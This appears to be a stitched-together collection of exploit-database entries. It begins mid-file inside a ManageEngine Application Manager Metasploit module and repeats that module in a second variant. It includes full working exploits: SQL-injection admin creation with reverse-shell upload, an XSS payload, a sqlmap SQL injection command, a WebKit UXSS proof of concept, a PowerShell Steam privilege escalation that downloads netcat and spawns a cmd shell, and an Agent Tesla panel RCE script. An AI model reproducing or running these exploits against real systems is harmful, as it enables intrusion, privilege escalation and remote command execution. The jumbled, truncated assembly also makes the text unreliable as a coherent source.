'PAYLOAD' => 'generic/shell_reverse_tcp'
        },
'Privileged'     => true,
'Payload'        =>
        {
'DisableNops' => true,
        },
'Platform'       => ['unix', 'win'],
'Targets' =>
        [
          [ 'Windows Target',
            {
'Platform' => ['win'],
'Arch' => ARCH_CMD,
            }
          ],
          [ 'Linux Target',
            {
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
                {
'Compat' =>
                    {
'PayloadType' => 'cmd',
                    }
                }
            }
          ]
        ],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'OpManager Username']),
        OptString.new('PASSWORD',  [true, 'OpManager Password']),
        OptString.new('TARGETURI',  [true, 'Base path for ME application', '/'])
      ],self.class)
  end

  def check_platform(host, port, cookie)

    res = send_request_cgi(
'rhost'   => host,
'rport'   => port,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
'cookie'  => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
      @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
      if @dir =~ /:/
        platform = Msf::Module::Platform::Windows
      else 
        platform = Msf::Module::Platform::Unix
      end
    else
      fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(host, port, cookie, platform, @dir)
  end

  def file_up(host, port, cookie, platform, dir)
    if platform == Msf::Module::Platform::Windows
      filex = ".bat"
    else
      if payload.encoded =~ /sh/
        filex = ".sh"
      elsif payload.encoded =~ /perl/
        filex = ".pl"
      elsif payload.encoded =~ /awk 'BEGIN{/
        filex = ".sh"
      elsif payload.encoded =~ /python/
        filex = ".py"
      elsif payload.encoded =~ /ruby/
        filex = ".rb"
      else
        fail_with(Failure::Unknown, 'Payload type could not be checked!')
      end
    end

    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")

    res = send_request_cgi({
'rhost'   => host,
'rport'   => port,
'method' => 'POST',    
'data'  => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")     
    })

    if res && res.code == 200 && res.body.include?('icon_message_success')
      print_good("#{@fname} malicious file has been uploaded.")
      create_exec_prog(host, port, cookie, dir, @fname)
    else
      fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
  end

  def create_exec_prog(host, port, cookie, dir, fname)

    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
'method'  => 'POST',
'rhost'   => host,
'rport'   => port,
'uri'     =>  normalize_uri(target_uri.path, 'adminAction.do'),
'cookie'  => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
      }
    )

    if res && res.code == 200 && res.body.include?('icon_message_success')
      actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] 
      print_status("Transactions completed. Attempting to get a session...")
      exec(host, port, cookie, actionid)
    else
      fail_with(Failure::Unreachable, 'Connection error occurred!')
    end
  end

  def exec(host, port, cookie, action)
    send_request_cgi(
'method'  => 'GET',
'rhost'   => host,
'rport'   => port,
'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie'  => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
      }
    )
  end

  def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end 

  def check

    res = send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
    )
    # For this part the build control will be placed.
    # For now, AppManager plugin control is sufficient.
    if res && res.code == 200 && res.body.include?('Logout.do?showPreLogin=false')
      return Exploit::CheckCode::Vulnerable
    else 
      return Exploit::CheckCode::Safe
    end
  end

  def app_login

    res = send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'apiclient', 'ember', 'Login.jsp'),
    )

    appm_adr = res.body.split('<iframe src="')[1].split('/Logout.do?showPreLogin=false')[0]
    am_host = appm_adr.split('://')[1].split(':')[0]
    am_port = appm_adr.split('://')[1].split(':')[1]


    if res && res.code == 200 && res.body.include?('.loginForm')
      @cookie = res.get_cookies

      res = send_request_cgi(
'rhost'   => am_host,
'rport'   => am_port,
'method'  => 'GET',
'cookie'  => @cookie,
'uri'     =>  '/Logout.do?showPreLogin=true',
      )

      appm_cookie = 'JSESSIONID_APM_'<< res.headers['set-cookie'].split('JSESSIONID_APM_')[1].split('; ')[0]
    else
      print_error("APM Plugin does not working!")
    end

    res = send_request_cgi(
'method'  => 'POST',
'uri'     =>  normalize_uri(target_uri.path, 'apiclient', 'ember', 'j_security_check'),
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD']
      }
    )

    if res && res.code == 302
      print_good("Successful login OPM with user : #{datastore['USERNAME']}")
      @cookie = res.get_cookies
      saltcookie = res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]

      res = send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, ';jsessionid=' + saltcookie),
'cookie'  => @cookie,
      )
      @cookie = res.get_cookies

      res = send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'apiclient', 'ember', 'index.jsp'),
'cookie'  => @cookie,
      )
      cookie = @cookie + "" + res.get_cookies

      res = send_request_cgi(
'rhost'   => am_host,
'rport'   => am_port,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']),
'cookie'  => cookie
      )

      @cookie = cookie + "" + res.get_cookies 

      res = send_request_cgi(
'method'  => 'POST',
'rhost'   => am_host,
'rport'   => am_port,
'cookie'   => @cookie,
'uri'     =>  normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['USERNAME'] + "@opm",
'submit' => 'Login'
        }
      )

      res = send_request_cgi(
'rhost'   => am_host,
'rport'   => am_port,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, '/MyPage.do?method=viewDashBoard&plugin_view=true&PRINTER_FRIENDLY=true&opm_user=' + datastore['USERNAME']),
'cookie'   => @cookie
      )

      @cookies = @cookie + "" + res.get_cookies
      send_sqli(am_host, am_port, @cookies, @cookie)

    else
      fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.')
    end
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    app_login
  end

  def send_sqli(host, port, cookies, cookie)

    @uname = Rex::Text.rand_text_alpha_lower(6)
    uid = rand_text_numeric(3)
    apk = rand_text_numeric(6) 
    @pwd = rand_text_alphanumeric(8+rand(9))
    @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)"
    pg_user =""
    pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
    pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
    pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
    ms_user =""
    ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
    ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
    ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"

    res = send_request_cgi(
'rhost'   => host,
'rport'   => port,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie'   => cookies
    )

    res = send_request_cgi(
'rhost'   => host,
'rport'   => port,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie'   => cookies
    )

    res = send_request_cgi(
'rhost'   => host,
'rport'   => port,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )

    if res && res.code == 200 && res.body.include?('.loginDiv')
      @cookie = res.get_cookies

      res = send_request_cgi(
'method'  => 'POST',
'rhost'   => host,
'rport'   => port,
'cookie'   => @cookie,
'uri'     =>  normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => @uname,
'j_password' => @pwd,
'submit' => 'Login'
        }
      )

      if res && res.code == 302 && res.body.include?('Redirecting to')
        print_good("Privilege Escalation was successfully performed.")
        print_good("New APM admin username = " + @uname)
        print_good("New APM admin password = " + @pwd)
        res = send_request_cgi(
'rhost'   => host,
'rport'   => port,
'cookie'  => @cookie,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
        )

        @cookie = res.get_cookies
        check_platform(host, port, @cookie)
      else
        fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
      end
    else
      fail_with(Failure::NotVulnerable, 'Something went wrong!')
    end
  end
end

# Exploit Title:BSI Advance Hotel Booking System Persistent XSS
# Google Dork: intext:Hotel Booking System v2.0 © 2008 - 2012 Copyright Best Soft Inc
# Date: Wed Jun 4 2014
# Exploit Author: Angelo Ruwantha
# Vendor Homepage: http://www.bestsoftinc.com
# Software Link: http://www.bestsoftinc.com/php-advance-hotel-booking-system.html
# Version: V2.0
# Tested on: archlinux
# CVE : CVE-2014-4035

Vulnerability
========================

[+]Method:POST

1.http://URL/hotel-booking/booking_details.php (;persistent XSS)

allowlang=&title=<IMG SRC="javascript:alert('HelloWorld ;)');"&fname=&lname=&str_addr=&city=&state=&zipcode=&country=&phone=&fax=&email=&payment_type=&message=&tos=


every parameter injectable :)

#Exploit Title: Joomla! component com_jssupportticket - Authenticated SQL Injection
#Dork: inurl:"index.php?option=com_jssupportticket"
#Date: 10.08.19
#Exploit Author: qw3rTyTy
#Vendor Homepage: https://www.joomsky.com/
#Software Link: https://www.joomsky.com/46/download/1.html
#Version: 1.1.6
#Tested on: Debian/nginx/joomla 3.9.0
#####################################
#Vulnerability details:
#####################################
Vulnerable code is in line 31 in file admin/models/ticketreply.php

  ...snip...
    24      function storeTicketReplies($ticketid, $message, $created, $data2) {
    25          if (!is_numeric($ticketid))
    26              return false;
    27  
    28          //validate reply for break down
    29          $ticketrandomid   = $data2['ticketrandomid'];    //!!!
    30          $db = $this->getDBo();
    31          $query = "SELECT id FROM `#__js_ticket_tickets` WHERE ticketid='$ticketrandomid'";  //!!!
    32          $db->setQuery($query);
    33          $res = $db->loadResult();
    34          if($res != $ticketid){
    35              return false;
    36          }//end
    ...snip...

#####################################
#PoC:
#####################################
$> sqlmap.py -u "http://localhost/index.php" --random-agent --dbms=mysql --method POST --data 'option=com_jssupportticket&c=ticket&task=actionticket&Itemid=666&ticketid=666&callfrom=savemessage&message=woot&created=woot&ticketrandomid=woot&{VALID_FORMTOKEN_FROM_TICKETDETAIL}=1' -p ticketrandomid --cookie 'VALID_SESSION_ID=VALID_SESSION_ID'

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
'Name'           => "ManageEngine Application Manager v14.2 - Privilege Escalation / Remote Command Execution",
'Description'    => %q(
        This module exploits sqli and command injection vulnerability in the ME Application Manager v14.2 and prior versions.

        Module creates a new admin user with SQLi (MSSQL/PostgreSQL) and provides privilege escalation.
        Therefore low authority user can gain the authority of "system" on the server. 
        It uploads malicious file using the "Execute Program Action(s)" feature of Application Manager.

        /////// This 0day has been published at DEFCON-AppSec Village. ///////

      ),
'License'        => MSF_LICENSE,
'Author'         =>
        [
'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module @ehakkus
        ],
'References'     =>
        [
          [ 'URL', 'http://pentest.com.tr/exploits/DEFCON-ManageEngine-APM-v14-Privilege-Escalation-Remote-Command-Execution.html' ]
        ],
'DefaultOptions' =>
        {
'WfsDelay' => 60,
'RPORT' => 9090,
'SSL' => false,
'PAYLOAD' => 'generic/shell_reverse_tcp'
        },
'Privileged'     => true,
'Payload'        =>
        {
'DisableNops' => true,
        },
'Platform'       => ['unix', 'win'],
'Targets' =>
        [
          [ 'Windows Target',
            {
'Platform' => ['win'],
'Arch' => ARCH_CMD,
            }
          ],
          [ 'Linux Target',
            {
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Payload' =>
                {
'Compat' =>
                    {
'PayloadType' => 'cmd',
                    }
                }
            }
          ]
        ],
'DisclosureDate' => '10 August 2019 //DEFCON',
'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('USERNAME',  [true, 'OpManager Username']),
        OptString.new('PASSWORD',  [true, 'OpManager Password']),
        OptString.new('TARGETURI',  [true, 'Base path for ME application', '/'])
      ],self.class)
  end

  def check_platform(cookie)

    res = send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'showTile.do'),
'cookie'  => cookie,
'vars_get' => {
'TileName' => '.ExecProg',
'haid' => 'null',
      }
    )
    if res && res.code == 200 && res.body.include?('createExecProgAction')
      @dir = res.body.split('name="execProgExecDir" maxlength="200" size="40" value="')[1].split('" class=')[0]
      if @dir =~ /:/
        platform = Msf::Module::Platform::Windows
      else 
        platform = Msf::Module::Platform::Unix
      end
    else
      fail_with(Failure::Unreachable, 'Connection error occurred! DIR could not be detected.')
    end
    file_up(cookie, platform, @dir)
  end

  def file_up(cookie, platform, dir)
    if platform == Msf::Module::Platform::Windows
      filex = ".bat"
    else
      if payload.encoded =~ /sh/
        filex = ".sh"
      elsif payload.encoded =~ /perl/
        filex = ".pl"
      elsif payload.encoded =~ /awk 'BEGIN{/
        filex = ".sh"
      elsif payload.encoded =~ /python/
        filex = ".py"
      elsif payload.encoded =~ /ruby/
        filex = ".rb"
      else
        fail_with(Failure::Unknown, 'Payload type could not be checked!')
      end
    end

    @fname= rand_text_alpha(9 + rand(3)) + filex
    data = Rex::MIME::Message.new
    data.add_part('./', nil, nil, 'form-data; name="uploadDir"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"theFile\"; filename=\"#{@fname}\"")

    res = send_request_cgi({
'method' => 'POST',    
'data'  => data.to_s,
'agent' => 'Mozilla',
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'cookie' => cookie,
'uri' => normalize_uri(target_uri, "Upload.do")     
    })

    if res && res.code == 200 && res.body.include?('icon_message_success')
      print_good("#{@fname} malicious file has been uploaded.")
      create_exec_prog(cookie, dir, @fname)
    else
      fail_with(Failure::Unknown, 'The file could not be uploaded!')
    end
  end

  def create_exec_prog(cookie, dir, fname)

    @display = rand_text_alphanumeric(7)
    res = send_request_cgi(
'method'  => 'POST',
'uri'     =>  normalize_uri(target_uri.path, 'adminAction.do'),
'cookie'  => cookie,
'vars_post' => {
'actions' => '/showTile.do?TileName=.ExecProg&haid=null',
'method' => 'createExecProgAction',
'id' => 0,
'displayname' => @display,
'serversite' => 'local',
'choosehost' => -2,
'abortafter' => 5,
'command' => fname,
'execProgExecDir' => dir,
'cancel' => 'false'
      }
    )

    if res && res.code == 200 && res.body.include?('icon_message_success')
      actionid = res.body.split('actionid=')[1].split("','710','350','250','200')")[0] 
      print_status("Transactions completed. Attempting to get a session...")
      exec(cookie, actionid)
    else
      fail_with(Failure::Unreachable, 'Connection error occurred!')
    end
  end

  def exec(cookie, action)
    send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'common', 'executeScript.do'),
'cookie'  => cookie,
'vars_get' => {
'method' => 'testAction',
'actionID' => action,
'haid' => 'null'
      }
    )
  end

  def peer
"#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end 

  def check

    res = send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'index.do'),
    )
    # For this part the build control will be placed.
    if res && res.code == 200 && res.body.include?('Build No:142')
      return Exploit::CheckCode::Vulnerable
    else 
      return Exploit::CheckCode::Safe
    end
  end

  def app_login

    res = send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )

    if res && res.code == 200 && res.body.include?('.loginDiv')
      @cookie = res.get_cookies

      res = send_request_cgi(
'method'  => 'POST',
'cookie'   => @cookie,
'uri'     =>  normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'submit' => 'Login'
        }
      )

      if res && res.code == 303
        res = send_request_cgi(
'cookie'  => @cookie,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
        )

        @cookie = res.get_cookies
        send_sqli(@cookie)
      else
        fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
      end     

    else
      fail_with(Failure::Unreachable, 'Connection error occurred! User information is incorrect.')
    end
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end
    app_login
  end

  def send_sqli(cookies)

    @uname = Rex::Text.rand_text_alpha_lower(6)
    uid = rand_text_numeric(3)
    apk = rand_text_numeric(6) 
    @pwd = rand_text_alphanumeric(8+rand(9))
    @uidCHR = "#{uid.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @unameCHR = "#{@uname.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @apkCHR = "#{apk.unpack('c*').map{|c| "CHAR(#{c})" }.join('+')}"
    @adm = "CHAR(65)+CHAR(68)+CHAR(77)+CHAR(73)+CHAR(78)"
    pg_user =""
    pg_user << "1;insert+into+AM_UserPasswordTable+(userid,username,password)+values+"
    pg_user << "($$#{uid}$$,$$#{@uname}$$,$$#{Rex::Text.md5(@pwd)}$$);"
    pg_user << "insert+into+Am_UserGroupTable+(username,groupname)+values+($$#{@uname}$$,$$ADMIN$$);--+"
    ms_user =""
    ms_user << "1 INSERT INTO AM_UserPasswordTable(userid,username,password,apikey) values (#{@uidCHR},"
    ms_user << " #{@unameCHR}, 0x#{Rex::Text.md5(@pwd)}, #{@apkCHR});"
    ms_user << "INSERT INTO AM_UserGroupTable(username,groupname) values (#{@unameCHR}, #{@adm})--"

    res = send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + pg_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie'   => cookies
    )

    res = send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, '/jsp/NewThresholdConfiguration.jsp?resourceid=' + ms_user + '&attributeIDs=17,18&attributeToSelect=18'),
'cookie'   => cookies
    )

    res = send_request_cgi(
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
    )

    if res && res.code == 200 && res.body.include?('.loginDiv')
      @cookie = res.get_cookies

      res = send_request_cgi(
'method'  => 'POST',
'cookie'   => @cookie,
'uri'     =>  normalize_uri(target_uri.path, '/j_security_check'),
'vars_post' => {
'clienttype' => 'html',
'j_username' => @uname,
'j_password' => @pwd,
'submit' => 'Login'
        }
      )
      print @uname + "//" + @pwd
      puts res.body
      if res && res.code == 303
        print_good("Privilege Escalation was successfully performed.")
        print_good("New APM admin username = " + @uname)
        print_good("New APM admin password = " + @pwd)
        res = send_request_cgi(
'cookie'  => @cookie,
'method'  => 'GET',
'uri'     =>  normalize_uri(target_uri.path, 'applications.do'),
        )

        @cookie = res.get_cookies
        check_platform(@cookie)
      else
        fail_with(Failure::NotVulnerable, 'Failed to perform privilege escalation!')
      end
    else
      fail_with(Failure::NotVulnerable, 'Something went wrong!')
    end
  end
end

WebKit: UXSS via XSLT and nested document replacements 

Related CVE Numbers: CVE-2019-8690Id-714702681.


VULNERABILITY DETAILS
https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/xml/XSLTProcessor.cpp#L66
```
Ref<Document> XSLTProcessor::createDocumentFromSource(const String& sourceString,
    const String& sourceEncoding, const String& sourceMIMEType, Node* sourceNode, Frame* frame)
{
    Ref<Document> ownerDocument(sourceNode->document());
    bool sourceIsDocument = (sourceNode == &ownerDocument.get());
    String documentSource = sourceString;

    RefPtr<Document> result;
    if (sourceMIMEType == \"text/plain\") {
        result = XMLDocument::createXHTML(frame, sourceIsDocument ? ownerDocument->url() : URL());
        transformTextStringToXHTMLDocumentString(documentSource);
    } else
        result = DOMImplementation::createDocument(sourceMIMEType, frame, sourceIsDocument ? ownerDocument->url() : URL());

    // Before parsing, we need to save & detach the old document and get the new document
    // in place. We have to do this only if we're rendering the result document.
    if (frame) {
[...]
        frame->setDocument(result.copyRef());
    }

    auto decoder = TextResourceDecoder::create(sourceMIMEType);
    decoder->setEncoding(sourceEncoding.isEmpty() ? UTF8Encoding() : TextEncoding(sourceEncoding), TextResourceDecoder::EncodingFromXMLHeader);
    result->setDecoder(WTFMove(decoder));

    result->setContent(documentSource);
```

https://trac.webkit.org/browser/webkit/trunk/Source/WebCore/page/Frame.cpp#L248
```
void Frame::setDocument(RefPtr<Document>&& newDocument)
{
    ASSERT(!newDocument || newDocument->frame() == this);

    if (m_documentIsBeingReplaced) // ***1***
        return;

    m_documentIsBeingReplaced = true;

[...]

    if (m_doc && m_doc->pageCacheState() != Document::InPageCache)
        m_doc->prepareForDestruction(); // ***2***

    m_doc = newDocument.copyRef();
```

`setDocument` calls `Document::prepareForDestruction`, which might trigger JavaScript execution via
a nested frame's \"unload\" event handler. Therefore the `m_documentIsBeingReplaced` flag has been
introduced to avoid reentrant calls. The problem is that by the time `setDocument` is called,
`newDocument` might already have a reference to a `Frame` object, and if the method returns early,
that reference will never get cleared by subsequent navigations. It's not possible to trigger
document replacement inside `setDocument` via a regular navigation request or a 'javascript:' URI
load; however, an attacker can use an XSLT transformation for that.

When the attacker has an extra document attached to a frame, they can navigate the frame to a
cross-origin page and issue a form submission request to a 'javascript:' URI using the extra
document to trigger UXSS.

VERSION
WebKit revision 245321.
It should affect the stable branch as well, but the test case crashes Safari 12.1.1 (14607.2.6.1.1).

REPRODUCION CASE
repro.html:
```
<body>
<script>
createFrame = doc => doc.body.appendChild(document.createElement('iframe'));

pi = document.createProcessingInstruction('xml-stylesheet',
'type=\"text/xml\" href=\"stylesheet.xml\"');
cache_frame = createFrame(document);
cache_frame.contentDocument.appendChild(pi);

setTimeout(() => {
  victim_frame = createFrame(document);
  child_frame_1 = createFrame(victim_frame.contentDocument);
  child_frame_1.contentWindow.onunload = () => {
    victim_frame.src = 'javascript:\"\"';
    try {
      victim_frame.contentDocument.appendChild(document.createElement('html')).
        appendChild(document.createElement('body'));
    } catch { }

    child_frame_2 = createFrame(victim_frame.contentDocument);
    child_frame_2.contentWindow.onunload = () => {
      doc = victim_frame.contentDocument;
      doc.write('foo');
      doc.firstChild.remove();

      doc.appendChild(pi);
      doc.appendChild(doc.createElement('root'));

      doc.close();
    }
  }

  victim_frame.src = 'javascript:\"\"';

  if (child_frame_1.xslt_script_run) {
    victim_frame.src = 'http://example.com/';
    victim_frame.onload = () => {
      form = corrupted_doc.createElement('form');
      form.action = 'javascript:alert(document.body.innerHTML)';
      form.submit();
    }
  }
}, 2000);
</script>
</body> 

```

stylesheet.xml:
```
<xsl:stylesheet version=\"1.0\" xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">
<xsl:template match=\"/\">
<html>
<body>
<script>
<![CDATA[
document.body.lastChild.xslt_script_run = true;
]]>
</script>
<iframe src=\"javascript:top.corrupted_doc = frameElement.ownerDocument; frameElement.remove();\"></iframe>
</body>
</html>
</xsl:template>
</xsl:stylesheet>

```

CREDIT INFORMATION
Sergei Glazunov of Google Project Zero


This bug is subject to a 90 day disclosure deadline. After 90 days elapse or a patch has been made
broadly available (whichever is earlier), the bug report will become visible to the public.


Found by: glazunov@google.com

$SteamRegKey = "HKLM:\SOFTWARE\WOW6432Node\Valve\Steam\NSIS"
$MSIRegKey = "HKLM:\SYSTEM\CurrentControlSet\Services\msiserver"
$RegDir = "C:\Windows\Temp\RegLN.exe"
$PayDir = "C:\Windows\Temp\payload.exe"
$Payload = "c:\windows\system32\cmd.exe /c c:\windows\temp\payload.exe 127.0.0.1 4444 -e cmd.exe"
$PayDownload = "https://raw.githubusercontent.com/AbsoZed/SteamPrivEsc/master/nc.exe"
$RegDownload = "https://raw.githubusercontent.com/AbsoZed/SteamPrivEsc/master/RegLN.exe"
$WebClient = New-Object System.Net.WebClient


If(!((Test-Path -Path $RegDir) -And (Test-Path -Path $PayDir)))
{
$WebClient.DownloadFile($PayDownload, $PayDir)
$WebClient.DownloadFile($RegDownload, $RegDir)
}

If(Get-ItemProperty -Path $SteamRegKey -Name ImagePath -ErrorAction SilentlyContinue)
{
Start-Service -DisplayName "Steam Client Service"
Set-ItemProperty -Path $MSIRegKey -Name "ImagePath" -Value $Payload
Start-Service -Name "msiserver"
}
Else
{
Remove-Item -Path $SteamRegKey -Recurse
Start-Process -FilePath $RegDir -ArgumentList "HKLM\Software\Wow6432Node\Valve\Steam\NSIS HKLM\SYSTEM\CurrentControlSet\Services\msiserver"
Start-Service -DisplayName "Steam Client Service"
Set-ItemProperty -Path $MSIRegKey -Name "ImagePath" -Value $Payload
Start-Service -Name "msiserver"
}

import requests
import argparse
import base64

# Agent Tesla C2 RCE by prsecurity
# For research purposes only. Don't pwn what you don't own.

def get_args():
  parser = argparse.ArgumentParser(
    prog="agent_tesla_sploit.py",
    formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=50),
    epilog= '''
    This script will exploit the RCE/SQL vulnerability in Agent Tesla Dashboard.
''')
  parser.add_argument("target", help="URL of WebPanel (ex: http://target.com/WebPanel/)")
  parser.add_argument("-c", "--command", default="id", help="Command to execute (default = id)")
  parser.add_argument("-p", "--proxy", default="socks5://localhost:9150", help="Configure a proxy in the format http://127.0.0.1:8080/ (default = tor)")
  args = parser.parse_args()
  return args

def pwn_target(target, command, proxy):
  requests.packages.urllib3.disable_warnings()
  proxies = {'http': proxy, 'https': proxy}
  print('[*] Probing...')
  get_params = {
'table':'screens', 
'primary':'HWID', 
'clmns':'a:1:{i:0;a:3:{s:2:"db";s:4:"HWID";s:2:"dt";s:4:"HWID";s:9:"formatter";s:4:"exec";}}', 
'where': base64.b64encode("1=1 UNION SELECT \"{}\"".format(command).encode('utf-8'))
  }
  target = target + '/server_side/scripts/server_processing.php'
  try:
    r = requests.get("http://bot.whatismyipaddress.com", proxies=proxies)
    print("[*] Your IP: {}".format(r.text))
    headers = {
"User-agent":"Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
    }
    r = requests.get(target, params=get_params, headers=headers, verify=False, proxies=proxies)
    result = r.json()['data'][-1]['HWID']
    print('[+] {}'.format(result))
  except:
    print("[-] ERROR: Something went wrong.")
    print(r.text)
    raise

def main():
  print ()
  print ('Agent Tesla RCE by prsecurity.')
  args = get_args()
  pwn_target(args.target.strip(), args.command.strip(), args.proxy.strip())


if __name__ == '__main__':
  main()